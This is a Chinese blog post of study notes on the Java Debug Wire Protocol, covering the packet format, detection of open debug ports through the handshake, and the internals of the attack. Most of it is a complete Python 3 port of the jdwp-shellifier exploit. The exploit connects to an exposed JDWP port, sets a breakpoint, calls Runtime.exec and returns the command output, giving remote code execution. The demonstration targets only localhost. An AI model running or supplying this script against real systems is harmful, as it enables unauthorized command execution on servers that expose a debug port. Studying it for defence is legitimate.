java jdwp协议
前言:python2转化python3的jdwp利用脚本有问题,索性有时间所以就来学习下java jdwp协议,顺便记录点笔记
参考文章:https://en.wikipedia.org/wiki/Java_Debug_Wire_Protocol
参考文章:https://www.cnblogs.com/zpchcbd/p/15152452.html
参考文章:https://docs.oracle.com/javase/8/docs/platform/jpda/jdwp/jdwp-protocol.html
参考文章:https://github.com/IOActive/jdwp-shellifier/blob/master/jdwp-shellifier.py
参考文章:https://forum.butian.net/share/1232
什么是jdwp协议
Java Debug Wire Protocol(JDWP)是一种通信协议,是Java Platform Debugger Architecture的一部分。它用于调试器和Java虚拟机之间的通信,Java虚拟机进行调试。它允许在其他计算机上调试进程,可以通过网络套接字或共享内存工作。
jdwp环境搭建
TestJdwpMain.java
public class TestJdwpMain { public static void main(String[] args) throws IOException { System.out.println("hello world"); } }
这里先将java文件进行编译,然后通过jdb来进行调试,jdb跟java的debugger一样具有调试功能,是jdk自带的命令行调试工具
javac TestJdwpMain.java java -agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=5005 TestJdwpMain jdb -connect com.sun.jdi.SocketAttach:hostname=127.0.0.1,port=5005
在jdb中先通过stop指令来进行断点,然后run指令,接着通过step指令来单步往下走直到结束,结果如下图所示
stop in java.io.PrintStream.println(java.lang.String) run step step
jdwp端口的识别
jdwp除了特定的指纹JDWP-Handshake
发送否则都是返回无信息,结果如下图所示
import asyncio async def get_jdwp(): reader, writer = await asyncio.open_connection('127.0.0.1', 5005) writer.write(b'JDWP-Handshake') await writer.drain() result = await reader.read(1024) print(result) writer.close() if __name__ == '__main__': l = asyncio.get_event_loop() l.run_until_complete(get_jdwp())
发送特定指纹JDWP-Handshake
返回的信息
发送非特定指纹JDWP-Hanaadshake
返回的信息
jdwp的命令执行
参考代码:https://github.com/IOActive/jdwp-shellifier/blob/master/jdwp-shellifier.py
jdb -connect com.sun.jdi.SocketAttach:hostname=127.0.0.1,port=5005 threads stepi eval java.lang.Runtime.getRuntime().exec("open -a Calculator.app")
jdwp的通信协议
通信包的数据格式
-
Length表示整个数据包的长度。因为包头的长度是固定的 11 bytes,所以如果一个 Command Packet 没有数据部分,则 Length 的值就是 11。
Id:是一个唯一值,用来标记和识别 Reply Packet 对应的 Command Packet。Reply Packet 与它所回复的 Command Packet 具有相同的 Id,异步的消息就是通过 Id 来配对识别的。 -
Flags用来标识数据包是 Command Packet 还是 Reply Packet,如果Flags是0x80就表示是一个Reply Packet,如果Flags是0就表示是一个 Command Packet。
-
Command Set:用来定义Command的类别,相当于一个Command的分组,一些功能相近的Command被分在同一个Command Set中。Command Set的值被划分为 3 个部分:
0-63:从debugger端发往被调试JVM的命令;
64–127:从被调试JVM的命令发往debugger端的命令;
128–256:预留的自定义和扩展命令
比如想要发送一个VERSION_SIG的指令获取版本信息则可以通过(1,1)的标识符来进行发送,在官方文档中可以看到对应的命令序号在VirtualMachine Command Set (1)的Version Command (1)中,如下图所示
通过抓包开头的11个请求包中也可以进行观察到,末尾的2个字节就是代表的(1,1)
-
Error Code:用来表示被回复的命令是否被正确执行了。零表示正确,非零表示执行错误。
-
Data:数据部分的内容和结构依据不同的 Command Packet 和 Reply Packet 都有所不同。比如请求一个对象成员变量值的Command Packet,它的data中就包含该对象的id和成员变量的id。而
-
Reply Packet 中则包含该成员变量的值。
Command Packet发送包的数据格式(长度11字节)
11个字节的长度是固定的,传输的数据部分长度不固定
Reply Packet接受包的数据格式(长度11字节)
11个字节的长度是固定的,传输的数据部分长度不固定
jdwp攻击脚本原理
主要进行了下面四个步骤
每次发送11个字节的数据包的构造
def create_packet(self, cmdsig, data=b""): flags = 0x00 cmdset, cmd = cmdsig pktlen = len(data) + 11 pkt = struct.pack(">IIBBB", pktlen, self.id, flags, cmdset, cmd) pkt += data self.id += 2 return pkt
第一个步骤就是发送handshake包来确定是否是jdwp服务
第二个步骤就是发送IDSizes Command指令,标识符为(1,7),在后面调用方法的时候需要用到referenceTypeIDSize,referenceTypeIDSize需要用IDSizes指令获取
第三个步骤就是发送IDSizes Command指令,标识符为(1,1),获取java版本信息,这个方法可有可无,因为通过搜索并没有发现后面该方法获取的数据
第四个步骤就是发送AllClasses Command指令,标识符为(1,3),获取目标VM当前加载的所有类的引用类型,后面需要用到
接下来就是调用runtime_exec,首先获取Runtime类索引
runtimeClass = jdwp.get_class_by_name(b"Ljava/lang/Runtime;") jdwp.get_methods(runtimeClass["refTypeId"])
接着获取getRuntime方法索引
getRuntimeMeth = jdwp.get_method_by_name(b"getRuntime")
通过要下断点方法的的类索引来获取要下断点方法的索引
c = jdwp.get_class_by_name(break_on_class.encode()) jdwp.get_methods(c["refTypeId"]) m = jdwp.get_method_by_name(break_on_method.encode())
通过EVENT_BREAKPOINT指令在对应的类的方法下断点
loc = struct.pack(">B", TYPE_CLASS) loc += jdwp.format(jdwp.referenceTypeIDSize, c["refTypeId"]) loc += jdwp.format(jdwp.methodIDSize, m["methodId"]) loc += struct.pack(">II", 0, 0) data = [(MODKIND_LOCATIONONLY, loc), ] rId = jdwp.send_event(EVENT_BREAKPOINT, *data)
恢复运行vm虚拟机,等待触发断点
jdwp.resumevm() while True: buf = jdwp.wait_for_event() ret = jdwp.parse_event_breakpoint(buf, rId) if ret is not None: break
触发断点,解析当前断点所在的信息,比如所在的线程以及位置
rId, tId, loc = ret jdwp.clear_event(EVENT_BREAKPOINT, rId)
跟上面演示的jdb一样,当拿到了调试器的控制权那么就可以执行Runtime.getRuntime()的对象的对应命令了
将要执行的命令进行格式化,在jdwp中传的数据都需要进行对应的规范化CreateString Command (11),该指令的标识符是(1, 11)
cmdObjIds = jdwp.createstring(command.encode()) cmdObjId = cmdObjIds[0]["objId"]
接下来通过invokestatic调试Runtime的getRuntime方法来获取Runtime对象
buf = jdwp.invokestatic(runtimeClassId, threadId, getRuntimeMethId) rt = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize])
获取Runtime对象的exec方法
execMeth = jdwp.get_method_by_name(b"exec")
调用exec方法,参数为cmdObjId在虚拟机中对应的索引值,就是要执行的命令
data = [struct.pack(">B", TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, cmdObjId)] buf = jdwp.invoke(rt, threadId, runtimeClassId, execMeth["methodId"], *data)
最终结果如下图所示
回显
def echo_command_result(jdwp, threadId, retId): processClass = jdwp.get_class_by_name(b"Ljava/lang/Process;") if processClass is None: return False jdwp.get_methods(processClass["refTypeId"]) getInputStreamMethod = jdwp.get_method_by_name(b"getInputStream") if getInputStreamMethod is None: return False data = [] buf = jdwp.invoke(retId, threadId, processClass["refTypeId"], getInputStreamMethod["methodId"], *data) if buf[0] != TAG_OBJECT: return False inputStreamId = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize]) inputStreamReader = jdwp.get_class_by_name(b"Ljava/io/InputStreamReader;") jdwp.get_methods(inputStreamReader["refTypeId"]) inputStreamReaderMethod = jdwp.get_method_by_signature(inputStreamReader["refTypeId"], b"(Ljava/io/InputStream;)V") if inputStreamReaderMethod is None: return False data = [chr(TAG_OBJECT).encode() + jdwp.format(jdwp.objectIDSize, inputStreamId)] buf = jdwp.newInstance(inputStreamReader["refTypeId"], threadId, inputStreamReaderMethod["methodId"], *data) if buf[0] != TAG_OBJECT: return False isrId = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize]) bufferedReader = jdwp.get_class_by_name(b"Ljava/io/BufferedReader;") jdwp.get_methods(bufferedReader["refTypeId"]) bufferedReaderMethod = jdwp.get_method_by_signature(bufferedReader["refTypeId"], b"(Ljava/io/Reader;)V") if bufferedReaderMethod is None: return False data = [chr(TAG_OBJECT).encode() + jdwp.format(jdwp.objectIDSize, isrId)] buf = jdwp.newInstance(bufferedReader["refTypeId"], threadId, bufferedReaderMethod["methodId"], *data) if buf[0] != TAG_OBJECT: return False brId = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize]) readlineMethod = jdwp.get_method_by_signature(bufferedReader["refTypeId"], b"()Ljava/lang/String;") if readlineMethod is None: return False while True: data = [] buf = jdwp.invoke(brId, threadId, bufferedReader["refTypeId"], readlineMethod["methodId"], *data) if buf[0] != TAG_STRING: break else: retId = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize]) res = jdwp.solve_string(jdwp.format(jdwp.objectIDSize, retId)) return res.decode() return ''
对于java中的代码可以理解为
public class TestJdwpMain { public static void main(String[] args) throws IOException { Process whoami = Runtime.getRuntime().exec("whoami"); InputStream inputStream = whoami.getInputStream(); InputStreamReader inputStreamReader = new InputStreamReader(inputStream); BufferedReader bufferedReader = new BufferedReader(inputStreamReader); String line; while((line = bufferedReader.readLine()) != null){ System.out.println(line); } } }
python3 jdwp利用脚本
import socket import time import sys import struct import urllib.request, urllib.parse, urllib.error import argparse import traceback import pdb ################################################################################ # # JDWP protocol variables # HANDSHAKE = b"JDWP-Handshake" REQUEST_PACKET_TYPE = 0x00 REPLY_PACKET_TYPE = 0x80 # Command signatures VERSION_SIG = (1, 1) CLASSESBYSIGNATURE_SIG = (1, 2) ALLCLASSES_SIG = (1, 3) ALLTHREADS_SIG = (1, 4) IDSIZES_SIG = (1, 7) CREATESTRING_SIG = (1, 11) SUSPENDVM_SIG = (1, 8) RESUMEVM_SIG = (1, 9) SIGNATURE_SIG = (2, 1) FIELDS_SIG = (2, 4) METHODS_SIG = (2, 5) GETVALUES_SIG = (2, 6) CLASSOBJECT_SIG = (2, 11) INVOKESTATICMETHOD_SIG = (3, 3) REFERENCETYPE_SIG = (9, 1) INVOKEMETHOD_SIG = (9, 6) STRINGVALUE_SIG = (10, 1) THREADNAME_SIG = (11, 1) THREADSUSPEND_SIG = (11, 2) THREADRESUME_SIG = (11, 3) THREADSTATUS_SIG = (11, 4) EVENTSET_SIG = (15, 1) EVENTCLEAR_SIG = (15, 2) EVENTCLEARALL_SIG = (15, 3) NEWINSTANCE_SIG = (3, 4) # Other codes MODKIND_COUNT = 1 MODKIND_THREADONLY = 2 MODKIND_CLASSMATCH = 5 MODKIND_LOCATIONONLY = 7 EVENT_BREAKPOINT = 2 SUSPEND_EVENTTHREAD = 1 SUSPEND_ALL = 2 NOT_IMPLEMENTED = 99 VM_DEAD = 112 INVOKE_SINGLE_THREADED = 2 TAG_OBJECT = 76 TAG_STRING = 115 TYPE_CLASS = 1 ################################################################################ # # JDWP client class # class JDWPClient: def __init__(self, host, port=8000): self.host = host self.port = port self.methods = {} self.fields = {} self.id = 0x01 return def create_packet(self, cmdsig, data=b""): flags = 0x00 cmdset, cmd = cmdsig pktlen = len(data) + 11 pkt = struct.pack(">IIBBB", pktlen, self.id, flags, cmdset, cmd) pkt += data self.id += 2 return pkt def read_reply(self): header = self.socket.recv(11) pktlen, id, flags, errcode = struct.unpack(">IIBH", header) if flags == struct.pack(">B", REPLY_PACKET_TYPE): if errcode: raise Exception("Received errcode %d" % errcode) buf = b"" while len(buf) + 11 < pktlen: data = self.socket.recv(1024) if len(data): buf += data else: time.sleep(1) return buf def parse_entries(self, buf, formats, explicit=True): entries = [] index = 0 if explicit: nb_entries = struct.unpack(">I", buf[:4])[0] buf = buf[4:] else: nb_entries = 1 for i in range(nb_entries): data = {} for fmt, name in formats: if fmt == "L" or fmt == 8: data[name] = int(struct.unpack(">Q", buf[index:index + 8])[0]) index += 8 elif fmt == "I" or fmt == 4: data[name] = int(struct.unpack(">I", buf[index:index + 4])[0]) index += 4 elif fmt == 'S': l = struct.unpack(">I", buf[index:index + 4])[0] data[name] = buf[index + 4:index + 4 + l] index += 4 + l elif fmt == 'C': data[name] = buf[index] index += 1 elif fmt == 'Z': t = buf[index] if t == 115: s = self.solve_string(buf[index + 1:index + 9]) data[name] = s index += 9 elif t == 73: data[name] = struct.unpack(">I", buf[index + 1:index + 5])[0] buf = struct.unpack(">I", buf[index + 5:index + 9]) index = 0 else: raise Exception("Unknown entries") entries.append(data) return entries def format(self, fmt, value): if fmt == "L" or fmt == 8: return struct.pack(">Q", value) elif fmt == "I" or fmt == 4: return struct.pack(">I", value) raise Exception("Unknown format") def unformat(self, fmt, value): if fmt == "L" or fmt == 8: return struct.unpack(">Q", value[:8])[0] elif fmt == "I" or fmt == 4: return struct.unpack(">I", value[:4])[0] else: raise Exception("Unknown format") def start(self): self.handshake(self.host, self.port) self.idsizes() self.getversion() self.allclasses() return def handshake(self, host, port): s = socket.socket() try: s.connect((host, port)) except socket.error as msg: raise Exception("Failed to connect: %s" % msg) s.send(HANDSHAKE) if s.recv(len(HANDSHAKE)) != HANDSHAKE: raise Exception("Failed to handshake") else: self.socket = s return def leave(self): self.socket.close() return def getversion(self): self.socket.sendall(self.create_packet(VERSION_SIG)) buf = self.read_reply() formats = [('S', "description"), ('I', "jdwpMajor"), ('I', "jdwpMinor"), ('S', "vmVersion"), ('S', "vmName"), ] for entry in self.parse_entries(buf, formats, False): for name, value in entry.items(): setattr(self, name, value) @property def version(self): return "%s - %s" % (self.vmName, self.vmVersion) def idsizes(self): self.socket.sendall(self.create_packet(IDSIZES_SIG)) buf = self.read_reply() formats = [("I", "fieldIDSize"), ("I", "methodIDSize"), ("I", "objectIDSize"), ("I", "referenceTypeIDSize"), ("I", "frameIDSize")] for entry in self.parse_entries(buf, formats, False): for name, value in entry.items(): setattr(self, name, value) return def allclasses(self): try: getattr(self, "classes") except: self.socket.sendall(self.create_packet(ALLCLASSES_SIG)) buf = self.read_reply() formats = [('C', "refTypeTag"), (self.referenceTypeIDSize, "refTypeId"), ('S', "signature"), ('I', "status")] self.classes = self.parse_entries(buf, formats) return self.classes def get_class_by_name(self, name): for entry in self.classes: if entry["signature"].lower() == name.lower(): return entry return None def get_methods(self, refTypeId): if refTypeId not in self.methods: refId = self.format(self.referenceTypeIDSize, refTypeId) self.socket.sendall(self.create_packet(METHODS_SIG, data=refId)) buf = self.read_reply() formats = [(self.methodIDSize, "methodId"), ('S', "name"), ('S', "signature"), ('I', "modBits")] self.methods[refTypeId] = self.parse_entries(buf, formats) return self.methods[refTypeId] def get_method_by_name(self, name): for refId in list(self.methods.keys()): for entry in self.methods[refId]: if entry["name"].lower() == name.lower(): return entry return None def get_method_by_signature(self, refTypeId, signature): for method in self.methods[refTypeId]: if method['signature'] == signature: return method return None def getfields(self, refTypeId): if refTypeId not in self.fields: refId = self.format(self.referenceTypeIDSize, refTypeId) self.socket.sendall(self.create_packet(FIELDS_SIG, data=refId)) buf = self.read_reply() formats = [(self.fieldIDSize, "fieldId"), ('S', "name"), ('S', "signature"), ('I', "modbits")] self.fields[refTypeId] = self.parse_entries(buf, formats) return self.fields[refTypeId] def getvalue(self, refTypeId, fieldId): data = self.format(self.referenceTypeIDSize, refTypeId) data += struct.pack(">I", 1) data += self.format(self.fieldIDSize, fieldId) self.socket.sendall(self.create_packet(GETVALUES_SIG, data=data)) buf = self.read_reply() formats = [("Z", "value")] field = self.parse_entries(buf, formats)[0] return field def createstring(self, data: bytes): buf = self.buildstring(data) self.socket.sendall(self.create_packet(CREATESTRING_SIG, data=buf)) buf = self.read_reply() return self.parse_entries(buf, [(self.objectIDSize, "objId")], False) def buildstring(self, data: bytes): return struct.pack(">I", len(data)) + data def readstring(self, data): size = struct.unpack(">I", data[:4])[0] return data[4:4 + size] def resumevm(self): self.socket.sendall(self.create_packet(RESUMEVM_SIG)) self.read_reply() return def invokestatic(self, classId, threadId, methId, *args): data = self.format(self.referenceTypeIDSize, classId) data += self.format(self.objectIDSize, threadId) data += self.format(self.methodIDSize, methId) data += struct.pack(">I", len(args)) for arg in args: data += arg data += struct.pack(">I", 0) self.socket.sendall(self.create_packet(INVOKESTATICMETHOD_SIG, data=data)) buf = self.read_reply() return buf def invoke(self, objId, threadId, classId, methId, *args): data = self.format(self.objectIDSize, objId) data += self.format(self.objectIDSize, threadId) data += self.format(self.referenceTypeIDSize, classId) data += self.format(self.methodIDSize, methId) data += struct.pack(">I", len(args)) for arg in args: data += arg data += struct.pack(">I", 0) self.socket.sendall(self.create_packet(INVOKEMETHOD_SIG, data=data)) buf = self.read_reply() return buf def solve_string(self, objId): self.socket.sendall(self.create_packet(STRINGVALUE_SIG, data=objId)) buf = self.read_reply() if len(buf): return self.readstring(buf) else: return b"" def send_event(self, eventCode, *args): data = b"" data += struct.pack(">B", eventCode) data += struct.pack(">B", SUSPEND_ALL) data += struct.pack(">I", len(args)) for kind, option in args: data += struct.pack(">B", kind) data += option self.socket.sendall(self.create_packet(EVENTSET_SIG, data=data)) buf = self.read_reply() return struct.unpack(">I", buf)[0] def clear_event(self, eventCode, rId): data = struct.pack(">B", eventCode) data += struct.pack(">I", rId) self.socket.sendall(self.create_packet(EVENTCLEAR_SIG, data=data)) self.read_reply() return def wait_for_event(self): buf = self.read_reply() return buf def parse_event_breakpoint(self, buf, eventId): num = struct.unpack(">I", buf[2:6])[0] rId = struct.unpack(">I", buf[6:10])[0] if rId != eventId: return None tId = self.unformat(self.objectIDSize, buf[10:10 + self.objectIDSize]) loc = -1 # don't care return rId, tId, loc def newInstance(self, classId, threadId, methId, *args): data = self.format(self.referenceTypeIDSize, classId) data += self.format(self.objectIDSize, threadId) data += self.format(self.methodIDSize, methId) data += struct.pack(">I", len(args)) for arg in args: data += arg data += struct.pack(">I", 0) self.socket.sendall(self.create_packet(NEWINSTANCE_SIG, data=data)) buf = self.read_reply() return buf def runtime_exec(jdwp, break_on_class, break_on_method, break_on, cmd): # 1. get Runtime class reference runtimeClass = jdwp.get_class_by_name(b"Ljava/lang/Runtime;") if runtimeClass is None: return False # 2. get getRuntime() meth reference jdwp.get_methods(runtimeClass["refTypeId"]) getRuntimeMeth = jdwp.get_method_by_name(b"getRuntime") if getRuntimeMeth is None: return False # 3. setup breakpoint on frequently called method c = jdwp.get_class_by_name(break_on_class.encode()) if c is None: return False jdwp.get_methods(c["refTypeId"]) m = jdwp.get_method_by_name(break_on_method.encode()) if m is None: return False loc = struct.pack(">B", TYPE_CLASS) loc += jdwp.format(jdwp.referenceTypeIDSize, c["refTypeId"]) loc += jdwp.format(jdwp.methodIDSize, m["methodId"]) loc += struct.pack(">II", 0, 0) data = [(MODKIND_LOCATIONONLY, loc), ] rId = jdwp.send_event(EVENT_BREAKPOINT, *data) # 4. resume vm and wait for event jdwp.resumevm() while True: buf = jdwp.wait_for_event() ret = jdwp.parse_event_breakpoint(buf, rId) if ret is not None: break rId, tId, loc = ret jdwp.clear_event(EVENT_BREAKPOINT, rId) # 5. Now we can execute any code result = runtime_exec_payload(jdwp, tId, runtimeClass["refTypeId"], getRuntimeMeth["methodId"], cmd) jdwp.resumevm() return result def runtime_exec_payload(jdwp, threadId, runtimeClassId, getRuntimeMethId, command): # 1. allocating string containing our command to exec() cmdObjIds = jdwp.createstring(command.encode()) if len(cmdObjIds) == 0: return False cmdObjId = cmdObjIds[0]["objId"] # 2. use context to get Runtime object buf = jdwp.invokestatic(runtimeClassId, threadId, getRuntimeMethId) if buf[0] != TAG_OBJECT: return False rt = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize]) if rt is None: return False # 3. find exec() method execMeth = jdwp.get_method_by_name(b"exec") if execMeth is None: return False # 4. call exec() in this context with the alloc-ed string data = [struct.pack(">B", TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, cmdObjId)] buf = jdwp.invoke(rt, threadId, runtimeClassId, execMeth["methodId"], *data) if buf[0] != TAG_OBJECT: return False retId = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize]) result = echo_command_result(jdwp, threadId, retId) return result def echo_command_result(jdwp, threadId, retId): processClass = jdwp.get_class_by_name(b"Ljava/lang/Process;") if processClass is None: return False jdwp.get_methods(processClass["refTypeId"]) getInputStreamMethod = jdwp.get_method_by_name(b"getInputStream") if getInputStreamMethod is None: return False data = [] buf = jdwp.invoke(retId, threadId, processClass["refTypeId"], getInputStreamMethod["methodId"], *data) if buf[0] != TAG_OBJECT: return False inputStreamId = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize]) inputStreamReader = jdwp.get_class_by_name(b"Ljava/io/InputStreamReader;") jdwp.get_methods(inputStreamReader["refTypeId"]) inputStreamReaderMethod = jdwp.get_method_by_signature(inputStreamReader["refTypeId"], b"(Ljava/io/InputStream;)V") if inputStreamReaderMethod is None: return False data = [chr(TAG_OBJECT).encode() + jdwp.format(jdwp.objectIDSize, inputStreamId)] buf = jdwp.newInstance(inputStreamReader["refTypeId"], threadId, inputStreamReaderMethod["methodId"], *data) if buf[0] != TAG_OBJECT: return False isrId = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize]) bufferedReader = jdwp.get_class_by_name(b"Ljava/io/BufferedReader;") jdwp.get_methods(bufferedReader["refTypeId"]) bufferedReaderMethod = jdwp.get_method_by_signature(bufferedReader["refTypeId"], b"(Ljava/io/Reader;)V") if bufferedReaderMethod is None: return False data = [chr(TAG_OBJECT).encode() + jdwp.format(jdwp.objectIDSize, isrId)] buf = jdwp.newInstance(bufferedReader["refTypeId"], threadId, bufferedReaderMethod["methodId"], *data) if buf[0] != TAG_OBJECT: return False brId = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize]) readlineMethod = jdwp.get_method_by_signature(bufferedReader["refTypeId"], b"()Ljava/lang/String;") if readlineMethod is None: return False while True: data = [] buf = jdwp.invoke(brId, threadId, bufferedReader["refTypeId"], readlineMethod["methodId"], *data) if buf[0] != TAG_STRING: break else: retId = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize]) res = jdwp.solve_string(jdwp.format(jdwp.objectIDSize, retId)) return res.decode() return '' def str2fqclass(s): i = s.rfind('.') method = s[i:][1:] classname = 'L' + s[:i].replace('.', '/') + ';' return classname, method if __name__ == "__main__": # -t 127.0.0.1 -p 5005 --cmd id --break-on java.lang.String.indexOf classname, meth = str2fqclass('java.lang.String.indexOf') cli = JDWPClient('127.0.0.1', 5005) cli.start() if runtime_exec(cli, classname, meth, 'java.lang.String.indexOf', 'id') == False: retcode = 1
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具
2020-02-05 学习:MFC的CWinApp和CFrameWnd